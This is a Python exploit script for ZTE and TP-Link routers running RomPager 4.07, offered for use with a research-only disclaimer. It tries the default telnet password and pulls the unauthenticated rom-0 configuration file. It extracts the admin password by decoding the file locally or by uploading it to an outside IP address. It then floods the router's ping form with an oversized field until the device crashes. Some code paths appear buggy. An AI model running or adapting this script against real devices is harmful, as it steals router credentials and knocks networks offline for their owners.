#!/usr/bin/env python
# -*- coding: utf-8 -*- 
 
# Exploit Title: ZTE and TP-Link RomPager DoS Exploit
# Date: 10-05-2014
# Server Version: RomPager/4.07 UPnP/1.0
# Tested Routers:   ZTE ZXV10 W300
#                   TP-Link TD-W8901G
#                   TP-Link TD-W8101G
#                   TP-Link TD-8840G
# Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0
# Tested on: Kali Linux x86
#
# Notes:    Please note this exploit may contain errors, and
#           is provided "as it is". There is no guarantee
#           that it will work on your target router(s), as
#           the code may have to be adapted. 
#           This is to avoid script kiddie abuse as well.
#
# Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
#             Author takes no responsibility for any kind of damage you cause.
#
# Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)
#
# Original write-up: https://osandamalith.wordpress.com/2014/06/10/zte-and-tp-link-rompager-dos/
# Video: https://www.youtube.com/watch?v=1fSECo2ewoo
# Dedicate to Nick Knight and Hood3dRob1n
#  
# ./dos.py -i 192.168.1.1
 
import os
import re
import sys
import time
import urllib
import base64
import httplib
import urllib2
import requests
import optparse
import telnetlib
import subprocess
import collections
import unicodedata
  
class BitReader:
     
    def __init__(self, bytes):
        self._bits = collections.deque()
         
        for byte in bytes:
            byte = ord(byte)
            for n in xrange(8):
                self._bits.append(bool((byte >> (7-n)) & 1))
             
    def getBit(self):
        return self._bits.popleft()
         
    def getBits(self, num):
        res = 0
        for i in xrange(num):
            res += self.getBit() << num-1-i
        return res
         
    def getByte(self):
        return self.getBits(8)
         
    def __len__(self):
        return len(self._bits)
         
class RingList:
     
    def __init__(self, length):
        self.__data__ = collections.deque()
        self.__full__ = False
        self.__max__ = length
  
    def append(self, x):
        if self.__full__:
            self.__data__.popleft()
        self.__data__.append(x)
        if self.size() == self.__max__:
            self.__full__ = True
  
    def get(self):
        return self.__data__
  
    def size(self):
        return len(self.__data__)
  
    def maxsize(self):
        return self.__max__
         
    def __getitem__(self, n):
        if n >= self.size():
            return None
        return self.__data__[n]
 
def filter_non_printable(str):
  return ''.join([c for c in str if ord(c) > 31 or ord(c) == 9])
 
 
def banner():
    return '''
 
\t\t    _/_/_/                _/_/_/   
\t\t   _/    _/    _/_/    _/          
\t\t  _/    _/  _/    _/    _/_/       
\t\t _/    _/  _/    _/        _/      
\t\t_/_/_/      _/_/    _/_/_/         
                            
 '''                         
def dos(host, password):
    while (1):
        url = 'http://' +host+ '/Forms/tools_test_1'
        parameters = {
        'Test_PVC'          :   'PVC0', 
        'PingIPAddr'        :   '\101'*2000,
        'pingflag'          :   '1',
        'trace_open_flag'   :   '0',
        'InfoDisplay'       :   '+-+Info+-%0D%0A'
        }
         
        params = urllib.urlencode(parameters) 
         
        req = urllib2.Request(url, params) 
        base64string = base64.encodestring('%s:%s' % ('admin', password)).replace('\n', '')
        req.add_header("Authorization", "Basic %s" %base64string)
        req.add_header("Content-type", "application/x-www-form-urlencoded")
        req.add_header("Referer", "http://" +host+ "/maintenance/tools_test.htm")
        try:
                print '[~] Sending Payload'
                response = urllib2.urlopen(req, timeout=1)
                sys.exit(0)
             
        except:
            flag = checkHost(host)
            if flag == 0:
                print '[+] The host is still up and running'
            else:
                print '[~] Success! The host is down'
                sys.exit(0)
                break
 
def checkHost(host):
    if sys.platform == 'win32':
        c = "ping -n 2 " + host
    else:
        c = "ping -c 2 " + host
 
    try:
        x = subprocess.check_call(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
        time.sleep(1)
        return x
         
    except:
        pass
 
def checkServer(host):
    connexion = httplib.HTTPConnection(host)
    connexion.request("GET", "/status.html")
    response = connexion.getresponse()
    server = response.getheader("server")
    connexion.close()
    time.sleep(2)
    if server == 'RomPager/4.07 UPnP/1.0':
        return 0
    else:
        return 1
 
def checkPassword(host):
    print '[+] Checking for default password'
    defaultpass = 'admin'
    tn = telnetlib.Telnet(host, 23, 4)
    tn.read_until("Password: ")
    tn.write(defaultpass + '\n')
    time.sleep(2)
    banner = tn.read_eager()
    banner = regex(len(defaultpass)*r'.'+'\w+' , banner)
    tn.write("exit\n")
    tn.close()
    time.sleep(4)
    if banner == 'Copyright':
        print '[+] Default password is being used'
        dos(host, defaultpass)
    else:
        print '[!] Default Password is not being used'
    while True:
        msg = str(raw_input('[?] Decrypt the rom-0 file locally? ')).lower()
        try:
            if msg[0] == 'y':
                password = decodePasswordLocal(host)
                print '[*] Router password is: ' +password
                dos(host, password)
                break                  
            if msg[0] == 'n':
                password = decodePasswordRemote(host)
                print '[*] Router password is: ' +password
                dos(host, password)
                break
            else:
                print '[!] Enter a valid choice'
        except Exception, e:
                print e
                continue
         
 
def decodePasswordRemote(host):
    fname = 'rom-0'
    if os.path.isfile(fname) == True:
        os.remove(fname)
    urllib.urlretrieve ("http://"+host+"/rom-0", fname)
    # If this URL goes down you might have to find one and change this function. 
    # You can also use the local decoder. It might have few errors in getting output.
    url = 'http://198.61.167.113/zynos/decoded.php'                # Target URL
    files = {'uploadedfile': open('rom-0', 'rb') }                 # The rom-0 file we wanna upload
    data = {'MAX_FILE_SIZE': 1000000, 'submit': 'Upload rom-0'}    # Additional Parameters we need to include
    headers = { 'User-agent' : 'Python Demo Agent v1' }            # Any additional Headers you want to send or include
 
    res = requests.post(url, files=files, data=data, headers=headers, allow_redirects=True, timeout=30.0, verify=False )
    res1 =res.content
    p = re.search('rows=10>(.*)', res1)
    if p:
        passwd = found = p.group(1)
    else:
        password = 'NotFound'
    return passwd
 
def decodePasswordLocal(host):
    # Sometimes this might output a wrong password while finding the exact string. 
    # print the result as mentioned below and manually find out
    fname = 'rom-0'
    if os.path.isfile(fname) == True:
        os.remove(fname)
    urllib.urlretrieve ("http://"+host+"/rom-0", fname)
    fpos=8568
    fend=8788
    fhandle=file('rom-0')
    fhandle.seek(fpos)
    chunk="*"
    amount=221
    while fpos < fend:
        if fend-fpos < amount:
            amount = amount
            data = fhandle.read(amount)
            fpos += len(data)
             
    reader = BitReader(data)
    result = ''
        
    window = RingList(2048)
         
    while True:
        bit = reader.getBit()
        if not bit:
            char = reader.getByte()
            result += chr(char)
            window.append(char)
        else:
            bit = reader.getBit()
            if bit:
                offset = reader.getBits(7)
                if offset == 0:
                    break
            else:
                offset = reader.getBits(11)
             
            lenField = reader.getBits(2)
            if lenField < 3:
                lenght = lenField + 2
            else:
                lenField <<= 2
                lenField += reader.getBits(2)
                if lenField < 15:
                    lenght = (lenField & 0x0f) + 5
                else:
                    lenCounter = 0
                    lenField = reader.getBits(4)
                    while lenField == 15:
                        lenField = reader.getBits(4)
                        lenCounter += 1
                    lenght = 15*lenCounter + 8 + lenField
             
            for i in xrange(lenght):
                char = window[-offset]
                result += chr(char)
                window.append(char)
 
    result = filter_non_printable(result).decode('unicode_escape').encode('ascii','ignore')
    # In case the password you see is wrong while filtering, manually print it from here and findout. 
    #print result 
    if 'TP-LINK' in result:
        result = ''.join(result.split()).split('TP-LINK', 1)[0] + 'TP-LINK';
        result = result.replace("TP-LINK", "")
        result = result[1:]
 
    if 'ZTE' in result:
        result = ''.join(result.split()).split('ZTE', 1)[0] + 'ZTE';
        result = result.replace("ZTE", "")
        result = result[1:]
 
    if 'tc160' in result:
        result = ''.join(result.split()).split('tc160', 1)[0] + 'tc160';
        result = result.replace("tc160", "")
        result = result[1:]
    return result
     
def regex(path, text):
    match = re.search(path, text)
    if match:
        return match.group()
    else:
        return None
 
def main():
    if sys.platform == 'win32':
        os.system('cls')
    else:
        os.system('clear')
    try:
        print banner()
        print '''
|=--------=[ ZTE and TP-Link RomPager Denial of Service Exploit ]=-------=|\n
[*] Author: Osanda Malith Jayathissa
[*] Follow @OsandaMalith
[!] Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
[!] Author takes no responsibility for any kind of damage you cause.
 
    '''
        parser = optparse.OptionParser("usage: %prog -i <IP Address> ")
        parser.add_option('-i', dest='host', 
                            type='string',  
                            help='Specify the IP to attack')
        (options, args) = parser.parse_args()
         
        if options.host is None:
            parser.print_help()
            exit(-1)
 
        host = options.host
        x = checkHost(host)
 
        if x == 0:
            print '[+] The host is up and running'
            server = checkServer(host)
            if server == 0:
                checkPassword(host)
            else:
                print ('[!] Sorry the router is not running RomPager')
        else:
            print '[!] The host is not up and running'
            sys.exit(0)
 
    except KeyboardInterrupt:
        print '[!] Ctrl + C detected\n[!] Exiting'
        sys.exit(0)
    except EOFError:
        print '[!] Ctrl + D detected\n[!] Exiting'
        sys.exit(0)
 
if __name__ == "__main__": 
    main()  
#EOF